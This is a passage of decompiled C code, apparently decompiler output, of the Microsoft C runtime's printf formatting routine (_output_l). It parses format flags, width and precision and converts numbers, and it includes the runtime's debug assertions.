												_t549 = E00428400(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t549;
												 *(_t666 - 0x2ac) = _t615;
											}
										} else {
											_t663 =  *(_t666 - 0x10) & 0x00000040;
											if(_t663 == 0) {
												_t550 = E00428400(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t550 & 0x0000ffff;
												 *(_t666 - 0x2ac) = _t663;
											} else {
												_t553 = E00428400(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t553;
												 *(_t666 - 0x2ac) = _t663;
											}
										}
									} else {
										_t556 = E00428420(_t666 + 0x14);
										_t669 = _t668 + 4;
										 *(_t666 - 0x2b0) = _t556;
										 *(_t666 - 0x2ac) = _t613;
									}
								} else {
									_t557 = E00428420(_t666 + 0x14);
									_t669 = _t668 + 4;
									 *(_t666 - 0x2b0) = _t557;
									 *(_t666 - 0x2ac) = _t611;
								}
								if(( *(_t666 - 0x10) & 0x00000040) == 0) {
									L161:
									 *(_t666 - 0x2b8) =  *(_t666 - 0x2b0);
									 *(_t666 - 0x2b4) =  *(_t666 - 0x2ac);
									goto L162;
								} else {
									L157:
									_t675 =  *(_t666 - 0x2ac);
									if(_t675 > 0 || _t675 >= 0 &&  *(_t666 - 0x2b0) >= 0) {
										goto L161;
									} else {
										L160:
										asm("adc edx, 0x0");
										 *(_t666 - 0x2b8) =  ~( *(_t666 - 0x2b0));
										 *(_t666 - 0x2b4) =  ~( *(_t666 - 0x2ac));
										 *(_t666 - 0x10) =  *(_t666 - 0x10) | 0x00000100;
										L162:
										if(( *(_t666 - 0x10) & 0x00008000) == 0 && ( *(_t666 - 0x10) & 0x00001000) == 0) {
											 *(_t666 - 0x2b4) =  *(_t666 - 0x2b4) & 0x00000000;
										}
										if( *(_t666 - 0x30) >= 0) {
											 *(_t666 - 0x10) =  *(_t666 - 0x10) & 0xfffffff7;
											if( *(_t666 - 0x30) > 0x200) {
												 *(_t666 - 0x30) = 0x200;
											}
										} else {
											 *(_t666 - 0x30) = 1;
										}
										if(( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
											 *(_t666 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t666 - 4)) = _t666 - 0x49;
										while(1) {
											L172:
											_t621 =  *(_t666 - 0x30) - 1;
											 *(_t666 - 0x30) =  *(_t666 - 0x30) - 1;
											if( *(_t666 - 0x30) <= 0 && ( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
												break;
											}
											L174:
											asm("cdq");
											_t622 =  *(_t666 - 0x2b8);
											 *((intOrPtr*)(_t666 - 0x2a4)) = E00430830(_t622,  *(_t666 - 0x2b4),  *(_t666 - 8), _t621) + 0x30;
											asm("cdq");
											 *(_t666 - 0x2b8) = E004308B0( *(_t666 - 0x2b8),  *(_t666 - 0x2b4),  *(_t666 - 8), _t622);
											 *(_t666 - 0x2b4) = _t622;
											if( *((intOrPtr*)(_t666 - 0x2a4)) > 0x39) {
												 *((intOrPtr*)(_t666 - 0x2a4)) =  *((intOrPtr*)(_t666 - 0x2a4)) +  *((intOrPtr*)(_t666 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) =  *((intOrPtr*)(_t666 - 0x2a4));
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
										}
										L177:
										 *((intOrPtr*)(_t666 - 0x24)) = _t666 - 0x49 -  *((intOrPtr*)(_t666 - 4));
										 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) + 1;
										if(( *(_t666 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t666 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t666 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) = 0x30;
											 *((intOrPtr*)(_t666 - 0x24)) =  *((intOrPtr*)(_t666 - 0x24)) + 1;
										}
										L181:
										while(1) {
											L181:
											while(1) {
												L181:
												while(1) {
													L181:
													while(1) {
														L181:
														while(1) {
															L181:
															while(1) {
																L181:
																while(1) {
																	do {
																		L181:
																		if( *((intOrPtr*)(_t666 - 0x28)) != 0) {
																			L207:
																			if( *(_t666 - 0x20) != 0) {
																				L0041C5E0( *(_t666 - 0x20), 2);
																				_t669 = _t669 + 8;
																				 *(_t666 - 0x20) = 0;
																			}
																			while(1) {
																				L209:
																				 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																				 *((intOrPtr*)(_t666 + 0xc)) =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																				if( *(_t666 - 0x251) == 0 ||  *(_t666 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t666 - 0x251) < 0x20 ||  *(_t666 - 0x251) > 0x78) {
																						 *(_t666 - 0x2fc) = 0;
																					} else {
																						 *(_t666 - 0x2fc) =  *( *(_t666 - 0x251) + 0x404460) & 0x0000000f;
																					}
																				}
																				L7:
																				 *(_t666 - 0x250) =  *(_t666 - 0x2fc);
																				_t19 =  *(_t666 - 0x250) * 8; // 0x6000006
																				 *(_t666 - 0x25c) =  *( *(_t666 - 0x25c) + _t19 + 0x404480) >> 4;
																				 *(_t666 - 0x300) =  *(_t666 - 0x25c);
																				if( *(_t666 - 0x300) > 7) {
																					continue;
																				}
																				L8:
																				switch( *((intOrPtr*)( *(_t666 - 0x300) * 4 +  &M004282F8))) {
																					case 0:
																						L9:
																						 *(_t666 - 0xc) = 0;
																						_t502 = E004312C0( *(_t666 - 0x251) & 0x000000ff, E0041AEF0(_t666 - 0x40));
																						_t671 = _t669 + 8;
																						if(_t502 == 0) {
																							L15:
																							E00435720( *(_t666 - 0x251) & 0x000000ff,  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t669 = _t671 + 0xc;
																							goto L209;
																						} else {
																							E00435720( *((intOrPtr*)(_t666 + 8)),  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t671 = _t671 + 0xc;
																							_t582 =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							_t629 =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																							 *((intOrPtr*)(_t666 + 0xc)) = _t629;
																							asm("sbb eax, eax");
																							 *(_t666 - 0x278) =  ~( ~( *(_t666 - 0x251)));
																							if(_t629 == 0) {
																								_push(L"(ch != _T(\'\\0\'))");
																								_push(0);
																								_push(0x486);
																								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																								_push(2);
																								_t514 = L0041E420();
																								_t671 = _t671 + 0x14;
																								if(_t514 == 1) {
																									asm("int3");
																								}
																							}
																							L13:
																							if( *(_t666 - 0x278) != 0) {
																								goto L15;
																							} else {
																								 *((intOrPtr*)(L00422F10(_t582))) = 0x16;
																								E00422CA0(_t558, _t582, _t664, _t665, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																								 *(_t666 - 0x2e4) = 0xffffffff;
																								E0041AEC0(_t666 - 0x40);
																								_t497 =  *(_t666 - 0x2e4);
																								L211:
																								return E0042BD60(_t497, _t558,  *(_t666 - 0x48) ^ _t666, _t629, _t664, _t665);
																							}
																						}
																					case 1:
																						L16:
																						 *(__ebp - 0x2c) = 0;
																						__edx =  *(__ebp - 0x2c);
																						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																						__eax =  *(__ebp - 0x28);
																						 *(__ebp - 0x18) =  *(__ebp - 0x28);
																						__ecx =  *(__ebp - 0x18);
																						 *(__ebp - 0x1c) = __ecx;
																						 *(__ebp - 0x10) = 0;
																						 *(__ebp - 0x30) = 0xffffffff;
																						 *(__ebp - 0xc) = 0;
																						goto L209;
																					case 2:
																						L17:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						if( *(__ebp - 0x304) > 0x10) {
																							goto L24;
																						}
																						L18:
																						__ecx =  *(__ebp - 0x304);
																						_t63 = __ecx + 0x428330; // 0x498d04
																						__edx =  *_t63 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428318))) {
																							case 0:
																								goto L21;
																							case 1:
																								goto L22;
																							case 2:
																								goto L20;
																							case 3:
																								goto L19;
																							case 4:
																								goto L23;
																							case 5:
																								goto L24;
																						}
																					case 3:
																						L25:
																						__edx =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							__eax =  *(__ebp - 0x18);
																							__eax =  *(__ebp - 0x18) * 0xa;
																							__ecx =  *((char*)(__ebp - 0x251));
																							_t87 = __ecx - 0x30; // -48
																							__edx = __eax + _t87;
																							 *(__ebp - 0x18) = __eax + _t87;
																						} else {
																							__eax = __ebp + 0x14;
																							 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
																							if( *(__ebp - 0x18) < 0) {
																								__ecx =  *(__ebp - 0x10);
																								__ecx =  *(__ebp - 0x10) | 0x00000004;
																								 *(__ebp - 0x10) = __ecx;
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																							}
																						}
																						L30:
																						goto L209;
																					case 4:
																						L31:
																						 *(__ebp - 0x30) = 0;
																						goto L209;
																					case 5:
																						L32:
																						__eax =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																							_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																							__ecx =  *(__ebp - 0x30) * 0xa + _t98;
																							 *(__ebp - 0x30) = __ecx;
																						} else {
																							__ecx = __ebp + 0x14;
																							 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
																							if( *(__ebp - 0x30) < 0) {
																								 *(__ebp - 0x30) = 0xffffffff;
																							}
																						}
																						goto L209;
																					case 6:
																						L38:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						if( *(__ebp - 0x308) > 0x2e) {
																							L61:
																							goto L209;
																						}
																						L39:
																						__ecx =  *(__ebp - 0x308);
																						_t106 = __ecx + 0x428358; // 0x7c0f9003
																						__edx =  *_t106 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428344))) {
																							case 0:
																								L44:
																								__edx =  *(__ebp + 0xc);
																								__eax =  *( *(__ebp + 0xc));
																								if( *( *(__ebp + 0xc)) != 0x36) {
																									L47:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x33) {
																										L50:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x64) {
																											L56:
																											L58:
																											goto L61;
																										}
																										L51:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x69) {
																											goto L56;
																										}
																										L52:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx == 0x6f) {
																											goto L56;
																										}
																										L53:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x75) {
																											goto L56;
																										}
																										L54:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x78) {
																											goto L56;
																										}
																										L55:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx != 0x58) {
																											 *(__ebp - 0x25c) = 0;
																											goto L9;
																										}
																										goto L56;
																									}
																									L48:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x32) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L58;
																									}
																								}
																								L45:
																								__ecx =  *(__ebp + 0xc);
																								__edx =  *((char*)(__ecx + 1));
																								if( *((char*)(__ecx + 1)) != 0x34) {
																									goto L47;
																								} else {
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L58;
																								}
																							case 1:
																								L59:
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																								goto L61;
																							case 2:
																								L40:
																								__eax =  *(__ebp + 0xc);
																								__ecx =  *( *(__ebp + 0xc));
																								if(__ecx != 0x6c) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000010;
																									 *(__ebp - 0x10) = __ecx;
																								} else {
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																								}
																								goto L61;
																							case 3:
																								L60:
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																								goto L61;
																							case 4:
																								goto L61;
																						}
																					case 7:
																						goto L62;
																					case 8:
																						L21:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																						goto L24;
																					case 9:
																						L22:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																						goto L24;
																					case 0xa:
																						L20:
																						__ecx =  *(__ebp - 0x10);
																						__ecx =  *(__ebp - 0x10) | 0x00000001;
																						 *(__ebp - 0x10) = __ecx;
																						goto L24;
																					case 0xb:
																						L19:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																						goto L24;
																					case 0xc:
																						L23:
																						__ecx =  *(__ebp - 0x10);
																						__ecx =  *(__ebp - 0x10) | 0x00000008;
																						 *(__ebp - 0x10) = __ecx;
																						goto L24;
																					case 0xd:
																						L24:
																						goto L209;
																				}
																			}
																			L210:
																			 *(_t666 - 0x2ec) =  *(_t666 - 0x24c);
																			E0041AEC0(_t666 - 0x40);
																			_t497 =  *(_t666 - 0x2ec);
																			goto L211;
																		}
																		L182:
																		if(( *(_t666 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t666 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t666 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t666 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t666 - 0x14)) = 0x20;
																						 *(_t666 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t666 - 0x14)) = 0x2b;
																					 *(_t666 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t666 - 0x14)) = 0x2d;
																				 *(_t666 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t666 - 0x2bc)) =  *((intOrPtr*)(_t666 - 0x18)) -  *((intOrPtr*)(_t666 - 0x24)) -  *(_t666 - 0x1c);
																		if(( *(_t666 - 0x10) & 0x0000000c) == 0) {
																			E004357C0(0x20,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																		}
																		E00435800( *(_t666 - 0x1c), _t666 - 0x14,  *(_t666 - 0x1c),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																		_t669 = _t669 + 0x10;
																		if(( *(_t666 - 0x10) & 0x00000008) != 0 && ( *(_t666 - 0x10) & 0x00000004) == 0) {
																			E004357C0(0x30,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																		}
																		if( *(_t666 - 0xc) == 0 ||  *((intOrPtr*)(_t666 - 0x24)) <= 0) {
																			L203:
																			E00435800( *((intOrPtr*)(_t666 - 4)),  *((intOrPtr*)(_t666 - 4)),  *((intOrPtr*)(_t666 - 0x24)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																			goto L204;
																		} else {
																			L196:
																			 *(_t666 - 0x2d4) = 0;
																			 *((intOrPtr*)(_t666 - 0x2c0)) =  *((intOrPtr*)(_t666 - 4));
																			 *((intOrPtr*)(_t666 - 0x2c4)) =  *((intOrPtr*)(_t666 - 0x24));
																			while(1) {
																				L197:
																				 *((intOrPtr*)(_t666 - 0x2c4)) =  *((intOrPtr*)(_t666 - 0x2c4)) - 1;
																				if( *((intOrPtr*)(_t666 - 0x2c4)) == 0) {
																					break;
																				}
																				L198:
																				 *(_t666 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t666 - 0x2c0))));
																				_t532 = E004342D0(_t666 - 0x2c8, _t666 - 0x2d0, 6,  *(_t666 - 0x316) & 0x0000ffff);
																				_t669 = _t669 + 0x10;
																				 *(_t666 - 0x2d4) = _t532;
																				 *((intOrPtr*)(_t666 - 0x2c0)) =  *((intOrPtr*)(_t666 - 0x2c0)) + 2;
																				if( *(_t666 - 0x2d4) != 0 ||  *((intOrPtr*)(_t666 - 0x2c8)) == 0) {
																					L200:
																					 *(_t666 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L201:
																					E00435800( *((intOrPtr*)(_t666 + 8)), _t666 - 0x2d0,  *((intOrPtr*)(_t666 - 0x2c8)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																					_t669 = _t669 + 0x10;
																					continue;
																				}
																			}
																			L202:
																			L204:
																			if( *(_t666 - 0x24c) >= 0 && ( *(_t666 - 0x10) & 0x00000004) != 0) {
																				E004357C0(0x20,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																				_t669 = _t669 + 0x10;
																			}
																			goto L207;
																		}
																		L62:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x30c) = __ecx;
																		__edx =  *(__ebp - 0x30c);
																		__edx =  *(__ebp - 0x30c) - 0x41;
																		 *(__ebp - 0x30c) = __edx;
																	} while ( *(__ebp - 0x30c) > 0x37);
																	_t147 =  *(__ebp - 0x30c) + 0x4283c4; // 0xcccccc0d
																	__ecx =  *_t147 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00428388))) {
																		case 0:
																			L114:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L115;
																		case 1:
																			L64:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L66;
																		case 2:
																			L79:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L81;
																		case 3:
																			L137:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L139;
																		case 4:
																			L72:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x284) = E00428400(__ebp + 0x14);
																			if( *(__ebp - 0x284) == 0) {
																				L74:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																				L78:
																				goto L181;
																			}
																			L73:
																			__ecx =  *(__ebp - 0x284);
																			if( *((intOrPtr*)( *(__ebp - 0x284) + 4)) != 0) {
																				L75:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x284);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x284);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x284);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x284);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L78;
																			}
																			goto L74;
																		case 5:
																			L115:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L117:
																				if( *(__ebp - 0x30) != 0) {
																					L120:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L122:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B960(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					_t274 = __eax - 8; // 0xe852f855
																					__ecx =  *_t274;
																					_t275 = __eax - 4; // 0xbc20
																					__edx =  *_t275;
																					 *(__ebp - 0x2a0) =  *_t274;
																					 *(__ebp - 0x29c) =  *_t275;
																					__ecx = __ebp - 0x40;
																					_push(E0041AEF0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a0;
																					_push(__ebp - 0x2a0);
																					__eax =  *0x440374; // 0xd5b65caa
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xd44284aa
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEF0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xd44114aa
																							E00424760(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																					goto L181;
																				}
																				L118:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L120;
																				}
																				L119:
																				 *(__ebp - 0x30) = 1;
																				goto L122;
																			}
																			L116:
																			 *(__ebp - 0x30) = 6;
																			goto L122;
																		case 6:
																			L66:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428400(__ebp + 0x14);
																				 *(__ebp - 0x280) = __ax;
																				__cl =  *(__ebp - 0x280);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x27c) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428440(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x27c) = E004342D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x27c) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L181;
																		case 7:
																			L135:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L144;
																		case 8:
																			L100:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x294) = E00428400(__ebp + 0x14);
																			if(E00433FB0() != 0) {
																				L110:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x294);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x294);
																					 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L181;
																			}
																			L101:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x314) = 0;
																			} else {
																				 *(__ebp - 0x314) = 1;
																			}
																			__eax =  *(__ebp - 0x314);
																			 *(__ebp - 0x298) =  *(__ebp - 0x314);
																			if( *(__ebp - 0x298) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E420();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x298) != 0) {
																				L109:
																				goto L181;
																			} else {
																				L108:
																				 *((intOrPtr*)(L00422F10(__ecx))) = 0x16;
																				__eax = E00422CA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2e8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEC0(__ecx);
																				__eax =  *(__ebp - 0x2e8);
																				goto L211;
																			}
																		case 9:
																			L142:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L144;
